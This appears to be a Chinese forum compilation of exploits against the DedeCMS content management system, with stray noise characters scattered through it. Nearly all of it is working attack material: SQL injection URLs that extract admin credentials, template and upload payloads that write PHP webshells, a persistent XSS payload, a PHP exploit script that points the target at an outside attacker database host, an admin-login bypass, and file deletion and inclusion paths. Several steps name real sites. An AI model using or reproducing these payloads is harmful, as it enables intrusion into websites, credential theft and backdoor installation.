dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
# a7 a- ?; L5 s5 h! Xhttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
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! Z5 f" k8 B: r4 a2 C" O" pDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
% W: t: m9 |* N+ B: Sa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
# }1 f7 v4 I2 T8 e生成x.php 密码xiao，直接生成一句话。
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7 J$ B- y0 A( n2 N  P/ l( ADede 5.6 GBK SQL注入漏洞
( l9 ?  P6 d3 u6 }http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
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% g6 _$ C. Z- |- YDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
4 T8 d3 |+ `! n" b9 a3 H  G7 X9 ehttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
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( P3 Q! I. b7 ]  Y9 gDEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
1 G5 f8 ~$ W  j( ?http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="


: j) P7 p! i9 B/ D2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
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) M4 o4 C8 F$ `* {) V3 K2 x: U0 ehttp://v57.demo.dedecms.com/dede/login.php


color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
) r/ q( C5 x. q! b8 Z) u( @: N<?php
3 f8 A# [, |1 b$ F# N1 [error_reporting(E_ERROR);
% f; t, E" u+ q! T0 zset_time_limit(0);
  P, A! X2 R2 G4 t  fprint_r('
, n9 B+ H' ~& l; m/ YDEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
);
echo "\r\n";
if($argv[2]==null){
% p/ ~1 Z$ k  T( Z2 W  Wprint_r('
+---------------------------------------------------------------------------+
, j9 I& z3 Z- m, {" e. W7 F: zUsage: php '.$argv[0].' url aid path
- m& e" J4 w+ h1 G! |: B0 Waid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
4 w  _# m0 y1 Q: p' J; {Example:
php '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
');
exit;
}
2 S: Y- s' S3 J3 m* [$url=$argv[1];
$aid=$argv[2];
$path=$argv[3];
$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
# n; d, K& k9 RExploit Success \n";
if($aid==1)echo "
" d$ Z: l- q8 Q3 ?/ s# W, vShell:".$url."/$path/data/cache/fuck.php\n" ;
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if($aid==2)echo "
2 c5 V/ i8 j+ s% rShell:".$url."/$path/fuck.php\n" ;
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if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";
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# n' C, E- [# P& q}else{
5 I4 ~* a/ K  f: N$ `0 |echo "
' s: B! F& D4 n4 [) m$ @Exploit Failed \n";
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function Getshell($url,$aid,$path){
# U- X% c$ I8 B2 t3 {6 o& D$id=$aid;
6 U% z2 p4 W4 L" @3 d0 ?6 e$host=$url;
+ Y) P8 ]  Q8 N' t: d3 r5 v% c7 m$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
; U9 t/ a: k$ z3 _  G$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
+ \: }6 X9 [: b' ?( {$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
) W1 U* t; ~# m# O//$data .= "Accept-Encoding: gzip,deflate\r\n";
6 [% |0 s2 f, c- G) G. C$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($host,$port);
. l$ k+ F1 F6 ?: C0 Lif (!$ock) {
4 A/ G$ i1 y3 h) i$ M8 N! _echo "
/ x" Z& \/ H5 g% n5 JNo response from ".$host."\n";
}
( i: q/ y& W- l& T4 ufwrite($ock,$data);
while (!feof($ock)) {
' C7 l* \+ G1 |/ z5 m$exp=fgets($ock, 1024);
return $exp;
}
}


?>


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* G' q0 w+ t. v2 C( HDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
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- m' ]# l" t( }- e4 k把上面validate=dcug改为当前的验证码，即可直接进入网站后台
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此漏洞的前提是必须得到后台路径才能实现





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Dedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
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- T+ q, Q( Y  D0 G再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
7 ~7 V- d' n: C7 O: n<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
% ^, [4 B( v, o, _4 O( }9 D<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
. c# ]' j! j1 ~# P! i& I<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
  O  U' m7 {4 u2 ~4 d5 ^6 U<input type="text" value="true" name="nocache" style="width:400">
' M! u- R5 ]0 H3 Z8 Y- D% t<input type="submit" value="提交" name="QuickSearchBtn"><br />
2 Z, p% n' y  t( m2 d</form>
: T) q' E( {" g3 t  C* Y3 V& e( @<script>
* i. n' A1 v) k; T* d0 _3 S% Pfunction addaction()
+ d: I& s$ }' v% Y- x# N{
document.QuickSearch.action=document.QuickSearch.doaction.value;
' B$ A, b* j  V& H}
! B4 c7 j0 [0 Z& E$ f</script>


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DedeCms v5.6 嵌入恶意代码执行漏洞
/ m- r+ x1 O) ~% N$ U! g注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
! J0 G- R/ C; M. D: r/ kDedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg

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9 W7 a+ |! Y' ^' ?4 r1 v/ V模板内容是（如果限制图片格式，加gif89a）：
  ~# K: C% s" g% \5 Z% f{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
# R, x/ |2 Y2 }+ u* F{/dede:name}
) p+ \! `  A( d* ~! `! R: t8 n2 修改刚刚发表的文章，查看源文件，构造一个表单：
9 o, R; H+ B! v3 W) V<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
3 U8 g; Q+ O- n' ~9 |3 s  N# W<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
: W2 G( ], [' F$ A/ |<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
: h" T: d2 m; E# Y2 y+ w5 o) O<input type="hidden" name="sortrank" value="1275972263" />
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( N" B2 j( b% V4 Y<div id="mainCp">
5 n4 k0 T: D& ?  a<h3 class="meTitle"><strong>修改文章</strong></h3>

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<div class="postForm">
<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
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4 w) u- U* r( p. V<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
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<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
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<label>隶属栏目：</label>
, g& y: i9 x7 c/ N8 c<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)


  `5 n  }: ]% s! P<label>我的分类：</label>
: ~9 @( D7 C) Y6 j4 }6 P, Q<select name='mtypesid' size='1'>
. W3 C; Z: I" L2 D/ A+ V<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
</select>
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; p& \/ p, y4 J; s" c& ?<label>信息摘要：</label>
$ o. \$ I. x+ w<textarea name="description" id="description">1111111</textarea>
9 N1 x) W8 G! B+ ]3 L( y8 H2 b(内容的简要说明)

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6 ]% `$ _' s; _- l, }<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
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<input type='text' name='templet'
% M8 F0 r! V4 P# f6 e+ S2 W* Lvalue="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
6 g: T5 }9 Y. M$ F# f. rvalue="templet,htmltext;">（这里构造）
+ }. v2 s  _1 U</div>
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  \  q3 ]/ ]& u1 w% |<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
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- i( \  a( N, O6 e4 w7 ~! F, L  s<div class="contentShow postForm">
: i4 u/ Q% B: Y  R" N<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
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<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
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<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
</div>
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</div>
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</form>
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提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php

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% F* {" f1 X& w( d# X' c: b( R* JDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
" P# B6 x: d9 _5 j* {& qGif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
" P$ C  G! a+ q! v8 i<input type="hidden" name="dopost" value="save" />
& S8 D: r* u3 k) Q- O" {& j<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
</form>

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构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：
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8 `0 n" f! ^" P7 R' R& [<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
2 q& ~+ i, ?4 L6 x7 a. J<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
, |* Y# V8 d% p* L3 T& ]( B$ l1 D3 r<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
2 f" O1 [! T5 e6 a' K' \: }3 u<select name='typeid' size='1'>
# t& t9 G. j9 {  ~<option value='1' class='option3' selected=''>Test</option>
: |* f$ S7 R' H0 b<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
% E7 o" A3 ]- k/ V7 j# _<option value='1' class='option3' selected>aa</option></select>
$ n% V' Q; ^: c6 Y& o5 N% Y) U<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
0 r# x: q# s4 U8 N7 z* V<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
  d4 h7 p4 R: X+ Y$ A<button class="button2" type="submit">提交</button>
2 |5 @3 U5 I3 g4 W# y; a& u</form>





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; U/ z/ K) N" I. Q织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
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织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
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2 {- W" d0 D& y  B9 H: @DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
, f7 `! p2 X$ ?& ~! L5 P- E9 vplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5

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织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
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织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
) S! e9 n; I+ o( B6 a+ t( Y' ]% X<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
! c! y7 l" E7 G' J<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
$ L2 s# S1 ~2 a/ a/ [8 _  E<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
$ F/ z1 T' C' S; k3 V' l2 c0 ^5 l) w: Z<input type='hidden' name='cfg_basedir' value='../../' />
3 M0 s& W- m) A7 \<input type='hidden' name='cfg_imgtype' value='php' />
) O' b4 c+ w! L! e<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
& e: S& I- @3 L2 ~2 R<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
/ x$ [( \( z3 i# a% T/ p. q  D<input type='hidden' name='job' value='upload' />
) i: ^7 z5 S% q( I8 v1 a- h2 n<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
</form>
. W1 H2 [" Q: S4 r( o<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
  V# D7 _: T3 H5 T- `9 @2 PFun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>
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) E5 n3 C0 E; k  M; E6 l织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
7 n7 }' q6 _7 ~; d' P: Q! g5 xhttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息

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2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
+ g: S. F( d" u$ L6 Cint(3) Error: Illegal double '1024e1024' value found during parsing
8 c; O  E3 _* u* S% S; O$ g0 OError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>


5 k) a& A9 _$ [1 _5 O, _3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
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1 h+ ^: d. m' d7 l<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>


0 |) Y: B: b% C# h+ l: D按确定后的看到第2步骤的信息表示文件木马上传成功.
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织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*